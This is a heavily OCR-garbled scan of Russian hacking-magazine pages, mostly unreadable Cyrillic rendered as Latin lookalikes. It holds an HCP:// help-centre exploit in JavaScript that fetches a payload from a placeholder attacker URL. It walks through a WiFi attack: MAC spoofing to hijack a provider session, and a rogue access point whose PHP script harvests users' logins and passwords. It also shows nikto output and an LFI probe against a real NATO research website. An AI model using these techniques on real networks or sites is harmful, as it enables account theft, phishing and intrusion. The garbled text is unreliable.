nnHkam. REF yka3biBaeT Ha KapTUHKY, KOTOPYIO FOPA0 NMOKAXeT Ha aKpaHe,
a BoT PARAM name="HTMLView" noBegeT nneep 3a LONONHUTENbHbLIMU
naHHbiMK — starthelp.html:

<iframe src="hcp://services/search?query=anything&

SCript%3E">

Tyt TaBUC MCNOB3YET XUTPYIO YI3BUMOCTb 06paboTkm creycMMBooB B
LeHTpe noMoLLu, 4Tobbl 060MTV NPOBEPKY Ha [LOBEPEHHOCTb. [1eno B ToM,
4TO GYHKLMSA He O4EHb XOPOLLIO NepeBOANT M3 hex 0B B 4MCna Npy packoamn-
pOBKe Unescape-CcTpokw, NO3TOMY B pe3ysbTaTe Mbl yBUAWUM KanbKynsTop.
BoneeToro, c IE7 MoxHo He NnapuTbcs U3-3a GunbTpa v cpasy Tak U jaBaTb
dperimom no... ueHTpy nomoun. OgHako BapuaHT ¢ Media Player'om MoxHo
MCnonb30BaTh U AN Kpocc-bpay3epHbix atak, 4To TaBuC v nokasan:

<html><head><title>Testing HCP</title></head>
<body><hl>0K</hl>
<script>
// HCP:// Vulnerability, Tavis Ormandy, June 2010.
var asx = "http://ZLOI-URL/simple.asx"; // nus uneepa
// Ecnu IE, TO Ipy3MM aKTUBUKC U IIepefaeM eMy asX.
if (window.navigator.appName
== "Microsoft Internet Explorer") {
// Internet Explorer
var o = document .createElement ("OBJECT") ;
o.setAttribute("classid",
"clsid:6BF52A52-394A-11d3-B153-00C04F79FAAG") ;
o.openPlayer (asx); //BAX!
// Ecnu He IE, TO OTKPHIBaeM asxX B ¢penme,
// KpPYyTHe 6pay3epH CaMMu IOVMYT, YTO HyXeH

//Menua tjeep OJjs 3TOTO. . .

-

else {
// Mozilla, Chrome, Etc.
var o = document.createElement ("IFRAME") ;
o.setAttribute("src", asx);
document .body .appendChild (o) ; //BAX!
}
</script>
</body></html>

[lobaBnio, 4To Nneep Mep3Ko NpesynpexaaeT 0 TOM, YTO eMy HaA0 3a4eM-
To cxoguTh Ha ZLOI-URL.

e OtknoynTs npotokon hep lyaanms HKCR\HCP\shell\open) ueHTp
MOMOLLM.

* Bocnonb3oBaTtecd natyem oT Tasuca — hitp://lock.cmpxchg8b.com/
b10a58b75029f79b5f93f4add3ddf?92/hcphotfix.zip. 3ToT naty dukcut
BuHapHuk helpctr.exe, nenas nposepky HagexXHOMN.

e XXnaTb naTya oT Microsoft. 2=
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«becnposopaHoi UuTepHeT B Kaxabld AOM» — BecbMa 3aMaHuMBbIN 103YHr. Cornacuce,
NPUATHO, KOrAa TBOM NpOBaMAEp, eLLe KaKUX-TO 5 JIET Ha3aj npeAoCcTaB/ABILMH
MOJIeMHbIHM JOCTYN, 3a CYMTaHHbIe AHU pa3BepTbiBaeT B Macchl WiFi-undipactpykrypy

no BceMy ropoay (Hy unu xota Gbl B ero uextpe). Kazanock 6bi, cobinack MeyTa MAMOTa,
W Tenepb Tbl, cuAA B MakaoHanbace W BKyWaA TpETUM MaKdpeLl, CMOXeLLb HacnaauTbCA
BbIcTpbIM MHTEpHETOM. Ho, NpUCMOTpeBLIMCD BHUMATE/IbHO, Thl NOHUMAELLb, YTO TaK

He GbiBaeT — Ge30MacHOCTb NPoBaMAepa, a 3HAYMUT W BCEX ero KIMeHTOB, O0CTaBAAeT
Wenatb nyywero. Yto6bl He ObITb roN0CNOBHOW, Npeiaratd TBOEMY BHUMaHHUIO Cy4aid
HethopManbHoOro ayauTa HeflaBHo poauBLUeHCA ceTH. U, KTo 3HaeT, MOXeT 6biTb Tbl
yOeauibCs B ero NpaBAMBOCTH Ha CBOEM rope-npoBauaepe.

[laBait 3apaHee gorosopumcs: fabbl cobnOCTH 3TUKET U He CTaBUTL B
HenoBKOE MosIoXKeHVe Moero npoeaisepa, s He byay Ha3blBaTb KOH-

KpeTHble caiiTbl u bpeHasl (KkoMy Hago, ToT Bce nolimeT cam). Tem Gonee,

N0 3aKOHY HMYero HapyweHo He bbi10 — ayAnT BbINONHANCH UCKIIOYM-
TeNbHO MO/, CBOVMW, YECTHO KyMieHHbIMW akkayHTamu. [la u uenb 37oi
CTaTbW — He 0MOPOYNTb YeCTb KaKo-TO KOMNaHWK, a NWLb yKasaTb Ha
obwme HepoctaTkn WiFi-nHdpacTpykTypbl, KoTopble, HaBepHska, Npu-
CYTCTBYIOT Y KPYMNHeLWnxX NpoBaifepos.

NEPBbIE PA30YAPOBAHKA

MTak, BepHemca k MapkeTuHry. [peactaBb cebe KpymHbIA poc-
CUCKNI rOpoa-MUANNOHHWK, B KOTOPOM peknaMLinki 3aTpybunu
nosyHramu: «becnpoBofHow, beiCcTpbit 1 ynobHbIR VHTepHeT!», «Ha-
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cnapuch CeTblo B nobumom kadpe» v T.4. u T.n. Korga y Tebs B ropoge
nosBAAeTCs Takas BO3MOXHOCTb, TO Cpa3y XO4YeTCa ee peanu3osats.
Befb, cornacucb, yaobHo(a s MoCKBrUen v metepbypxues yxKe
[aBHO MPUBBIYHO — NPUM. pef.) cuiieTb B-kakoM-Hnbyas kape co
CBOWM BepHbIM LpyroM-HoyTbyKom v 0bWaTsca no acbke o genax
HaCyLHbIX.

Ho, HeMHoro noobLaBLWyCh, UCMBbITaB CEPUI0 Pa3PbiBOR U JUCKOHHEKTOB,
7 NOYYBCTBOBAsIa HOTKM NEPBbIX pa3oyapoBaHuii. M naxe He moToMmy, 4To
kaHan cnaboBart, a MoToMy 4TO NpW NOBTOPHOM KOHHekTe (naxe vepes 10
MUHYT) He TpeboBanock MOBTOPHON aBTOPU3aLIMM.

370 uTO elle Takoe? 3HAUUT, 5 Nnady 3a JOCTyM, a NpoBalifep COBCEM He
3aboTuTcs 0 Moelt 6esonacHocTu (Beab BCe ceccum nocnie Moero yxoaa
TeopeTuyecky MoryT BbiTb LOCTYNHLI ApyruM mogaml]. Mocne Takoro
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Fatar: rp

Bt Bt Yow o Sostue Avaboe: Sutitcs Tekphony Tooks Holp
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= Eguemion.. Clear Apply

LY Time
133 Li./3L8sm
155 12.154603
163 12. 520939
172 13.829544

@ Frame 177 (42 bytes on wire, 42

Protocol type: IF (Dx0S00)
Mardware size: 6

Protocol size: 4

Opcode: request (0w0001)
[15 gratuitous: False]

tured)
thernet 11, src: Intelcor_lc:6bi6a (00:21:5d:1c:6bi6a), Dst: cisco 83:11:0e 9018
= address mesolution Protocol (request)
Hardware type: Ethernet (0x0001)

Destination
B UL L
Broadcast
Broadcast
Broadcast

i

[T

BREEED
EEEES

ERRERREE

fEEsEaEE
[§ERREEE

00 16 94 83 11 Oe 00 21 5d 1c 6b 6a 08 06
05 00 06 04 00 01 00 21 5d 1c 6b 6a 0a 00
00 16 94 83 11 Oe 0a 00 08 01

Sender MAC address: IntelCor_lc:b:iéa (00:21:5d:lc:bbia)
Sender 1P address: 10.0.10.20 (10.0.10.20)

Target MAC address: Cisco_8$3:11:0e (00:16:9d:83:11:08)
Target IP address: 10.0.5.1 (10.0.8.1)

M3 ARP-coob6weHunit MoxxHo y3HaTb MAC u IP apyrux
nosb3oBaTenen ceTu

DVD

> dvd

Ha gucke Tbl
Haifelb NporpamMmmsl,
OKa3aBlive MHe
NOCUNbHYIO MOMOLLb
B 3KCNepuMeHTax
[(MACChange,

Small HTTP Server,
WireShark co sBcemu
ytunutamu, Ufasoft
Sniffer, InterCepter),
a Takxe PHP-ckpunr,
nepexsaTbiBalOLLWNA
aBTOpPU3aLMOHHbIE
cBeaeHus.

[L WARNING |

> warning

BHumanne!
NHdopmaums
npencrasnexHa
NCKIOYNTENBHO
C uenbto
o3HakoMmeHns!
Hw aBTop, HK
pefakuwusa 3a
TBOM eCTBUS
OTBETCTBEHHOCTU
He HecyT!
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YOVBNEHVNS MHE 3aX0TeNI0Ch YyTb-UyTb NoCHUdATL CeTky, a
3aTeM NPOBepUTL NPeANooXeHNs.

Kak 3akoHonocnylHas AeBylika, # He cTana cHUdaTb KoMIbI
noceTuTenem KpynHoro kade (CMAALLMX Ha ToM xe Bec-
NpPOBOAHOM MHTepHeTe). BmecTo aToro st npurnacuna apyra
¢ HoyTByKOM :). OH yrocTun MeHs Yalwedkon Kode 1 cran
“MKUTMpOBaTL BypHyto fiesiTenbHocTb B CeTw (3anycTun acbky,
KOHTAKT, NPOBEPWA NOYTY U ...

HIOXAEM H... 3AZIbIXAEMCA!

e, He Tepss BpeMeHu, 3anyctuna WireShark u ctana
MOHWTOPUTL NepuMeTp. Cpean nakeToB st cpasy yBuaena
SSL-pykonoxaTve Ha caiTe nposaiaepa...

K cnoBy, kak nponcxoauT aBTopu3aumnsa CoeIMHEHNS: CHavana
KITMEHT KOHHeKTUTCH K HesawwwmwierHon WEP/WPA-Touke,
3aTeM obpaluaeTtca bpaysepom Ha noboit cait B CeTn 1 pe-
LMPEKTUTCS Ha CTpaHuLly aBTopr3auun. TaM OH BBOAWT NIOTUH
¥ Naposib IMYHOTO cyeTa [MonosHAEMOoro nyTem oTNpasku
SMS-coobuieHus Ha cneymanbHblil HOMep), U mocne 3Toro, No
BCe BUAMMOCTU, Ha poyTepe cO3/aeTcs NpaBuso, No3BoNso-
Lee 103aTb MHTEPHET.

Tak BoT, nocne 3awwndposaHHoit SSL-aBTopusaumm g
yBUena coBeplleHHO He3aKpunToBaHHbIe Napoiu oT
«BKoHTakTe» 1 noutsl, cnerka 3aXOR'eHHble naccBopAbl OT
Acbkn (koTopble nerko Bckpbisatotes Tem xe Ufasoft Sniffer
nn InterCepter'om) u HenpunnuHble cCbinku, Befylme Ha
nopHocaliThl (coBceM yxe HIKOro He cTecHaeTc... :). 9 He
YMOMWHAI0 NPO AAPYTUX KNMEHTOB 3TOM CeTh (Mx g He aHanu-
31poBasa, NoCcKobKy CreLunanbHo noctaBmuia GUNLTp Ha
IP-appec apyra, 4Tobbl He HapywaTb 3aKoH).

Ho, Kak roBopuTCS, C/IN COBCEM XOYEeTCsl, TO MOXHO (1 Aaxe
HYXHO!) UyTb-4yTb HAPYLUMTL (HO TOALKO ANS paclperns
kpyrosopa :). 3Has IP u MAC-aapeca, dpurypupyiolive 8
nepumeTpe (a oHuM y3HaloTca aHannzom ARP-coobuleHmii),
MOXHO JIerKo 1X NpocnypuTs.

Ha calite npoBaiigepa HanucaHo, 4To Nepef oTKIYeHEM OT
CeTn HeobX0AVMMO 3aBepLUNTL CECCHIO NyTeM HaXaTus KHOM-
Ku «Bbixog» Ha aBTOPM3aLMOHHOM CaiiTe, MHaYe akkayHT by-
LleT [OCTyneH eLlle HekoTopoe BPeMs nocse oTKIoYeHns. 3To
HaM TONbKO Ha YKy, MOCKOJbKY Aaneko He KaxAablii KIMeHT
ByneT 3TMM 3aMopaunBaTLCS 1.

MTaK, c noMoubto xopouwleit nporpaMmbl no cMeHe MAC-
agpecos — MACChange (unw BpyuHyio, KTo Kak 1106uT) — us-
MEHVM afipec cBoero becnpoBofiHOro afganTepa Ha 13BecT-
HbIh Ham MAC cocepa.

He 3abynem npucsounTs cebe ero |IP. 3atem nonpobyem
noaknynTees k cetv. O uypo, okassiBaeTcs, nposangep

e faten jasym Jetiias Teupheny Jeeh iy
lssnuranﬂa‘aeevi.ﬂaaaaumnux
e d * lapesen.. Ouig Apply
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B Kappe BUAEH IOTMH, MapoJib U aApec XocCTa,
Ha KOTOPOM NpoM3BoAMUIach aBTOpU3aLLUS

nonyckaet kak DHCP-, Tak n Static-agpecauunio. U, Takum
0bpa3oM, MOXHO HacnaxaaTbcs npenecTaMu becnpoBoAHOrO
nHTepHeTa becnnaTHo. A TouHee, 3a Yyxoit cyeT!

A YTO, ECIINY..

Hy, pa3 yx Mbl HapyLWWnK1 3aKoH paau 3KCnepuMeHTa, Nonpo-
ByeM yrnybuTb 1 pacluMpuTh Halw onbIT. YTo bbl eLle Takoro
npuaymaTh, 4Tobbl NoKa3aTb BCe HefoCTaTKM Hallel bec-
nposoaHoit ceTn? Cpasy xe NpUXoAUT MbICb 06 opraHum3a-
umm MitM-ataku, nyTeM MHCTaNNALMM NOACTaBHON Toukn. Ho
3/1eCb ye B kade He pacnonoXMLLbCS.

[Ins npoBefieHVs Takoro onbiTa HaM HeobxoAMMO NMETb He-
CKOJIbKO KOMMOHEHTOB: BeD-cepBep, TOUKy [OCTyNa 1 HoyTOyK
L9 TECTUPOBAHNS.

MHe npuwnock MATK LOMON, NCKaTb Ha aHTPECONSX 3a-
Banaswuitca DIR-300 n HacTpoutb Ha Hem DHCP-cepsep.
SSID Toukw 51 onpefenvna aHanoruuHbiM MAEHTUGUKATOPY
onepatopa.

B kauecTBe Beb-cepBepa s Bbibpana KOMNaKTHLIV U YA0DOHbIN
Small HTTP Server. MHoro cnoB yxe 6bi10 ckasaHo 06 aToM
Manbilwe. MHe nM4Ho HpaBWTCs ero YAobHbIN HTepdeiic

11, HECMOTpS! Ha BeCbMa HebobLLUNE pa3Mepbl, LWWPOKUIA
dyHKUMOHanN.

MopHnMeM Ha Hem WEB- 1 DNS-cepBepbl, 4T06bI Mpw Mno-
NbITKe 33TV Ha Kakylo-HWDyAb BeD-CTpaHuLy nonb3osaTens
Hanpasnano Ha HTML-cTpaHuLy, HanoMKHAIOLLYI0 YNOMSIHY-
Thii caiiT perncTpaumn B ceTn onepatopa. Tenepb co3gafnm
PHP-ckpuntuk, coxpaHsiolimnii BBOAMMYIO Ha caiiTe nHop-
MaLMio B OTAENbHbIN txt-daii.

<?php
Sfilename = 'S:\home\localhost\www\info.txt';
$a = S_GET['login'];
$b = $_GET|['password'];
$somecontent = " -- JormH - \n".Sa." --Tla-
pons - \n".sSb." -- \n";
// TlpoBepKa CyLeCcTBOBAHMS ¥ NOCTYIa s
3anmcu  danna
if (is_writable(sfilename))
if (!Shandle = fopen($filename, 'r+')
{
echo "He Mory OTKpwHTE damn (S$Sfilename)"
exit;
}
if (!fwrite(Shandle, S$somecontent))
{
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(2 [ Hic Hee Hoa ]
pt] | NewMAC address: |
P ESEEN | [ s e o e
VMuware Network Adapter VMnets ( VMware Virtual Etherr | A || SetDefadtt | | &*{,i
o l\ i IS Al
S | it s 24K
i =
ekl cac
|_BOWTH |
MACChange. U3MeHeHUe MAC-appeca cBoero \ T oo &‘LT:"-;':......: G
6ecnpoBopHOro agantepa bl o it it

echo "He Mory mnpomsBecTy z3ammch B daimn ($filename)";
exit;
}
else{echo " ";}
echo "Bammcano ($somecontent) B odain (S$Sfilename)";
fclose ($handle) ;
}
else {
echo "®amin $filename HemocTyIleH OJIA 3anmucu";
}
?>

MopcTaBa rotoBa, 3anyckaem!

MITM B JIEACTBUM

[naH Kpaku norviHa 1 Naposs oT CeTV TakoB: NMoJfib30BaTeNb akKTUBUPYET
cBoWt becnpoBofHoOM aganTep 1 NblTaeTcs NOAKNOUNTECA K ceTu. [Tpu
3TOM B CMUCKe JOCTYMHbIX CeTelt OH BUAWT MOACTaBHY TOUKY AOCTyNa C
Tem e SSID, 4To 1y KoMMepyeckoro onepaTtopa. CuctemMa BEIHOCUT ee

Ha NepBbI NOPSAO0K, MOCKOSBKY CUTHaN OT Hee CUiibHee onepaTopcKoro.
[anee knueHT nofkioyaeTcs K 3Tol Touke, 3aX04MUT B CBOI bpaysep 1
nonafaeT Ha CTpaHuLy aBTopu3aumun. 3Ta CTpaHuLa Takke MeeT CXOXMIA
Co cTpaHuLen onepatopa uHTepdeiic. [onb3oBaTens, H1UYero He NOAO-
3peBasi, BBOAMT CBOU PEKBU3UTLI B COOTBETCTBYOLME nons. [1py HaxaTun
Ha KHOMKY «BOMTW» BBEEHHbIE UM AaHHble COXPAHSAKTCS NOCPeACTBOM
PHP-ckpvnTa B TekcToBbIN daiin Ha cepBepe. A KIMEHT ocTaeTcs be3

txt-cbaitn c coxpaHeHHbIMU fLAHHbIMMU
7~

Beop nornHa u naposisi Ha noagCTaBHOM caiTe

nHTepHeTa (1, koHeuHo e, 6e3 noruHa ¢ naponem :J — npum. peg.). Yrobsl
HUYEro He ynycTuTb U3 BUAY, Npobyem aBTOpMU30BaTLCS Ha NOACTaBHON
TOYKe A0CTyNa: BBOAUM PEKBU3UTBI, KMEM «BOMTW»... L€ HUYEro He
MPOVCXOANT, Kak KaxeTcs 0BbIYHOMY 103€epy, HO CKPUMT yXe chenan cBoe
rpsi3Hoe fefiblie, 1 AaHHble coxpaHeHbl Ha cepaepe. OTKpoeM 3T0T daiin 1
nocMoTpyM ero copepxkumoe. Byans! BoT fiaHHble, KoTopble Mbl BBEW, 1
CIOPMPU3: KTO-TO Y>Ke MOAKOYMICS K Hallelt Touke 40CTyna v Tenepb ecTb
ellle napa 0rMHOB W Naposeil Ans BXofa B ceTb. B Takoit cutyaumum faxe
SSL-aBTOpr3aLMs He cnacaeT oT KpaxXw pekBU3UTOB.

MALMERT CKOPEE }{UB, YEM MEPTB

Y10 MOXKHO TyT ckasaTb? CaMoe cTpallHoe, YTo Takux ceTeit bosblue no-
NI0BWHbI MO BCEN CTpaHe (ToNbKo MHE N3BECTHbI YeTbipe KPYMHBIX ropoaa-
MUJITMOHHWKa € NogobHol cxemoit aBTopu3aumul. M HUKTO He MoxeT
rapaHT1poBaTh JIEMMTUMHOCTb BXOAALLMX Nofib3oBaTenei. [pu stom
BJIafesiblibl CEPBMCOB NPAKTUYECKN HUKOTAA He NpefynpexaatoT CBOoUxX
KNIMEHTOB 00 ySI3BMMOCTUW WX laHHbIX, 0 prUCcKax Kpaxu nHdopmaumn. Bee
KaxayT yBenunyeHus npuboinun, npeHebperas npu 3ToM BCEMU MeToAaMu
obecneyeHns 6e3onacHOCTW, MOCKOSbKY 3TO MPUBOAMUT K CHUXKEHMIO CKO-
pOCTV Nepefayn faHHbIX U YCIOXKHSAET MPOLLECC HAaCTPONKM KIIMEHTCKOro
obopynosaHna (1, COOTBETCTBEHHO, MONYYeHNUs A0CTyNa K ceTu).
[MoaTomMy xo4y Hanocnefok AaTb XxopoLwwuii coBeT: obpallall BHUMaHue
Ha TOYKM [OCTYyna, K KOTOPbIM Tbl MOAKOYAELWbLCS, VI He NepefaBai
BaXHYI0 MHGOPMaLWIO B He3alMUleHHbIX ceTax (nmbo ncnonb3yi npu
3ToM VPN-coepmHeHne), MockoibKy 9T0 MOXET NMPUBECTU K daTanbHbIM
nocneacTBUAM. 3=

aitn [paska ®opmar Bua Cnpaska

NormH - 12345
NoruvH 5374756355274
NormH - 7843537625348

&£ I rer ]
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B3J1IOM
"

Hebe3onacHoctb HATO

KAK HATO bOPETCAl C XAKEPAMU

B MoeM MaTepuane Tbl MOXellb YBUAETb, KaK TPYAHO, OKa3bIBaeTcA, caenarb
npaBuabHYI0 cucTeMy Be6-ayTeHTHMKaLmuu. OcobeHHo ecnu 3To KacaetcA GonbLuoro
KopnopatuBHoro noprana. U tem Gonee, ecniu oH oTBe4aeT 3a Ge30MacHOCTD Leoi

CTPaHbl, fia NPUTOM He 0/IHOM.

B HawewM xypHane nosiBuiacb 04eHb XOpOLIas NpPakTUKa — CTann ny-

BankosaTbes ayauTopsl MHGopMaLmMoHHo besonacHocTn. O4eBMAHO, YTO
aKTyasbHOCTb TeMbl ayfiuTa BO3POC/a MHOroKpaTHo. Hall NocTosHHbIR Yn-
TaTesb, KOHEYHO, MOHMMAET, noyeMy. [locTaTo4HO NPOCMOTPETL apXUBHYHO
NOALUNBKY XypHana 3a npoluefllee BpeMs U MOXHO CMeS0 YyTBEPXKAaTh,
YTO C MOMOLLLbIO TEXHOSIOTWIA 1 MPOrpPaMM, 0 KOTOPbIX MUCanu B 3TX «Xake-
pax», MOXHO YCMelWHO BOeBaTh (U He TONbKO Ha KOMMEPYECKOM pbiHKe).
KcTaTn, npo kopnopatneHyto besonacHocTs. MHorve yxe faBHO roBopsT

0 TOM, YTO aTaku Takux knaccos kak SQL-uHbekUWs, ncnonb3oBaHue

XSS, LFI/RFI nnu ownbok B ayTeHTUGMKALUN, N3KMBAIOT CBOI BEK 1 yXKe
He aKTyanbHbl. MHOTWe cneuvanncTbl NPYBOAAT B CBOMX Npe3eHTaumnsax
BCEBO3MOXHble rpaduiku, Ha KOTopbIX 0TODpaxkeHbl BCe BPEMS YMEHb-
WwatoLmecs «CToNbukm» ¢ npoLeHTamMm obHapyXX1MBaeMblx ysi3BUMOCTEN
nonfobHoro pofa.

[pakTrka NokasbiBaeT, 4TO J0BEPSATL TakUM Lindpam Hesb3si, MOTOMY 4TO,
KaK NpaBuIio, B Ka4eCTBE NCXOAHbBIX AaHHbIX ANS KPAcKBbIX rpadukos mc-
NoJb3yloTCA pe3ynbTaThl aBTOMAaTUYECKOro CKaHWpoBaHus Beb-pecypcos
He MeHee aBToMaTu4yeckMmmn ckavepamu. KoHeyHo, coBpeMeHHble
aBToMaTnyeckue ckaHepbl (nogobHble Acunetix, nikto, w3af u sqlmap] yxe
CTanu NOXOXMN Ha UCKYCCTBEHHbIN UHTENNEKT — OHW He YMetoT pa3se yTo

» 050

TOJIbKO 3aBapvBaTh Kode 1 0KasblBaTb 3CKOPT-ycnyru. Ho, K coxaneHuio,
OHU HecrnocobHbl pacno3HaThb U BCKPbLITb MPaBAY O CAOXKHbIX TOrMYecKmx
owmbkax ayTeHTUOMKALMM, CKPBITbIX fLedeKTax reHepaLmn BbIXOLHbIX
[laHHbIX, @ 3a4acTyio 1 00paboTky BXOLHbLIX faHHbIX. Hafo v roBopuTh 0
NPOCThIX YI3BUMOCTSX, KOTopble caMu no cebe He NpefCcTaBAAIOT onac-
HOCTW, HO, Byay4un cBSI3aHbl Mex Ay coboit, MOryT AaTb HOBbI BEKTOP aTaku
3/10YMbILLNEHHWKY?

1 BOT BaM, noxanyicra.

PEWUMTENbHOE HATO

Kak n3sectHo, Opranunsauvs CeBepoaTnaHT4Yeckoro orosopa, M3secT-
Has Takxe nof abbpesunatypoit HATO, sBnseTcs BOEHHO-MOAUTUHECKUM
6710KOM, CO3AaHHbIM JaBHbIM-aBHO AN NPOTUBOAENCTBUS BOSMOXHbBIM
BOEHHbIM AeWCTBUAM, HanpaB/ieHHbIM NPOTUB CTpaH EBporbl 1 AMepuKi.
Poccus [Torga ewe Cosetckmit Coto3) B 3T0T 610K He BOLE, MOTOMY YTO
13Ha4asbHO NpPeAnonaranoch, YTo U OHa ToXe MOXET 3TV caMble arpec-
CUBHbIE BOEHHbIE AeACTBMS OCYLLECTBAATD.

B ctpykType HATO cyLecTBytoT BCSKOro pofia opraHnsaLumm, Kotopsle oT-
BeyaloT 3a pa3paboTku B obnacTtu beaonacHoCT — HaunHas OT BOEHHOIA,
Hay4YHO-TEXHWUYECKOW W 3aKaH4YMBas MHPOPMaLIMOHHON. VI panblie pedb
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BOTTaKBbWﬂﬂﬂﬂTxemM,eCﬂMMXHpMBeCTM
B HOpMaanblﬁ BUA U CONOCTABUTDb C YXKe
nosy4yeHHbiIMU goaHHbIMU

novaeT Npo nHdopMaLMoHHylo 6e30NacHOCTb, @ KOHKPETHee — Mpo Hay-
uHbIN MHCTUTYT Research & Technology Organisation (RTO), cozpaaHHbiii B
pamkax HATO.

B HalueMm xypHare yxe nvcanu ob ysi3BUMOCTSAX BOEHHbIX CANTOB HaLLWX
«CO3HMKOB». Kak-To pa3 repon MHGOPMaLMOHHOI BOVHbI KPernko nogme-
TWK, YTO Y «CeTeLLEHTPUYECKNX BOVHOB» De30MacHoCTb eCTb, MHdOpMa-
Lm1s eCTb, a BOT be3onacHoCTb MHPOPMaLLIMKM — YBbI, HE Ha BbICOTE.

Hy uTo , onpoBeprHem wan nogTeepanm?

MEPBbIA OCMOTP

HayuHo-uccnepoBatensckas opravusauna HATO — npegnpuatve He

13 ManeHbkux. [oacTtaTe GrHaHCOBOMY pa3maxy v Beb-caiiT, KoTopbii

CO BpeMEHEeM 13 NPOCTON UHTEPHET-BUTPUHbI BbIPOC B LiENbIN NopTan, B
nebpsix KoToporo Tenepb xpaHuTcs faxe BoenHas TaliHa. BoT, Hanpumep,
[J19 TOro, YTobbl NONYYnTh CeKpeTHble AOoKNaAbl, y4acTHUKAM He MeHee
CeKpeTHbIX BOEHHbIX CUMMO31YMOB BbIAGKOT IOTVHbI 1 NApPOAW As [0-
cTyna k daiinosomy cepsepy u Beb-caiity RTO.NATO.INT. Bce bbl xopoLuo,
BOT TOJIbKO Y4aCTHUKYM MOAKAYaANN — XMUBYT OHM B Pa3HbiX CTpaHax U, B
OCHOBHOM, 3a TPWAEBATH 3eMeflb, @ NoceMy OblI0 BeNEHO pa3mMecTUTb Bce
370 406p0 Ha BblfeNEHHbIX CeEpBEpPaXx C NOAKOUEHNEM K CETU MHTEPHET.
3pechb ckazouke KOHel, a faNblle — Havaso npolLecca He3aBncKMOoro
ayauTa NpYMeHseMblx pelleHnii no 3awmute BoeHHoit TaliHbl nofgcnes-
CTBEHHOII OpraHu3auuu.

PaccMmoTpuM fins Hadana Takyto Menoub, kak daiin robots.txt:

User-agent: *
Disallow: /images/
Disallow: /img/
Disallow: /homepix/
Disallow: /rndimg/
Disallow: /Include/
Disallow: /hpix/
Disallow: /Mailer/
Disallow: /InfoPack/
Disallow: /aspx/
Disallow: /bin/
Disallow: /cgi-bin/
Disallow: /ContactUs.aspx
Disallow: /Copyright.htm
Disallow: /css/
Disallow: /Detail.asp
Disallow: /enrolments/
Disallow: /FAQ.htm
Disallow: /foad.htm
Disallow: /fr/
Disallow: /help.htm
Disallow: /pfp.ppt

Disallow: /Prog/

Disallow: /Reports.asp

Disallow: /SendAbstractDetails.aspx
Disallow: /tor.asp
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OuyeHb cTpaHHble oWKN6KK Ha cainTe PCTIK — MoryT nin
OHU NPUBECTU K HECAHKLMOHMPOBAHHOMY focTyny?

Disallow: /Taxo/

Disallow: /Variables.asp

Disallow: /variables.asp

Disallow: /voc.htm

Disallow: /vpn.html

Disallow: /Webmail.asp

Disallow: /yourws.asp

Sitemap: http://www.rto.nato.int/sitemap.xml

HanvicanHbi asHo He B 2010 rogy, 3T0T NyTeBoAMTENb B MUP KOHOU-
fLeHuvansHoi nHdopmaumn RTO conepxunT B cebe gaxe ykasaHue Ha
KOHKPETHbIN Gaiin, KOTOpbI MOXHO cKauaTb 1 nocMoTpeTs (pfp.ppt). Hago
S TOBOPUTL 0 HEe0DX0AMMOCTU Ucnonb3oBaHus nikto Ans ckaHuposa-
HUSI TUMOBBIX KaTasoroB, eC/IN OHU Y>e BECbMA «ya4YHO» NMepedncieHsl
aaMUHKUCTpaTopoM Beb-caiiTa? Pagun cnopTBHOTO MHTEpeca, Mbl BCe Xe
3anyctnm nikto v NpoBEpMM, KTO BbIMrpan:

- Nikto v2.03/2.04

+ Target IP: 62.23.200.67

+ Target Hostname: www.rto.nato.int

+ Target Port: 80

+ Start Time: 2010-05-08 14:00:15

+ Server: RTA Web Server

- /robots.txt - contains 47 'disallow' entries which
should be manually viewed. (GET)

- Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD

+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE'

is typically only used for debugging and should be
disabled. This message does not mean it is vulnerable
to XST.

- Public HTTP Methods: OPTIONS, TRACE, GET, HEAD,
POST

+ OSVDB-877: HTTP method ('Public' Header): 'TRACE'
is typically only used for debugging and should be
disabled. This message does not mean it is vulnerable
to XST.

+ OSVDB-0: ETag header found on server, fields:
0x7036cdddaldcal:18b2

+ OSVDB-3092: GET /sitemap.xml : This gives a nice
listing of the site content.

+ 3577 items checked: 49 item(s) reported on remote
host

+ End Time: 2010-05-08 14:49:54 (2979 seconds)

+ 1 host(s) tested

Test Options: -Cgidirs all -vhost www.rto.nato.int

-host www.rto.nato.int www.rto.nato.int
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HeT, KoHeuHo, Takoro chaina B Windows HeT, 3aTo ownbka LFI B ckpunTe ecTb

Boiurpan Bce-Taku agMUHNUCTpaTop caiita (ewe Bbl, OH TOYHO 3HAET Npo
canT bonbuwe, yem nikto :]], BoIpasnM emy bnarofapHoCTb 3a OTMYHbI

CMPaBOYHWK MO CKPbLITHIM CTpaHULaM. Tak, Hanpumep, 3anucek webmail.

asp faeT HaMm AO0CTYN K BHYTPeHHeW NoYTOBOW CUCTeMe, a 3anunch

Detail.asp 6e3 Bcskux ckaHepoB NOACKa3blBaeT HaM NPOBEPUTH YA3BUMO-

CTV BBOZ@ B COOTBETCTBYIOLL|EM CLieHapuu Beb-cepBepa.

[lapannensHo nonsas no canty u nposepss Bce «disallow» 3anucu B
robots.txt, nogkniounm webscarab. B ero xypHanax nocne xoxgeHus no
«calTamM» 4acTo BCTPEYatoTCA HEOXMAaHHbIE «BKYCHOCTU», O KOTOPble
MOXHO noyecaTb 3ybbl sqlmap’y n w3af'y. Tonbko 3arosopunu 06 3Tom,
W TYT € — XJ10M, LLeHTPabHbIi CKPUMT, KOTOPbIN NPUHUMAET 3aHUMa-
TesbHbI NapaMeTp «topics». O4eHb MHTEPECHBIM OH OKa3blBaeTCs, eciu
NOACTaBWTb B Ka4eCTBE TOMUKa 3TOT Ke CaMblil CKpUNT:

http://www.rto.nato.int/Main.asp?topic=Main.asp

[pun aToM, ecnn daiin nmeet pacwmpervie .ASP, To OH MHTepnpeTUpyeT-
cst (Hanpumep, ecnn Mbl NofcTaBum «Main.asp» B kadecTse napamerpa

CETELEEHTPUYECKME BOHHbI

KoHLenumns «ceTeL,eHTpUYecKko BoiHbI» nosisunace B CLUA B Havane
1990-x ronoB. B cooTBeTCTBUM C laHHO KOHLeNUWeR NpefycMaTpu-
BaeTCs BHEAPEHMeE B BOCKA NepefoBbiX MHGOPMALMOHHbLIX TEXHONOMMIA
N9 TOro, 4Tobbl 00beAUHATL paccpefoToHeHHble B 0bLLMpHOM boeBoM
NPOCTPAHCTBE Pa3HOPOAHbIE CHITbI M CPEACTBA (NMUHBIN COCTaB, OpraHbl
1 MYHKTbI yripaBneHus, boeBoro obecneyeHus, BOOPYXXEHME 1 BOEHHYIO
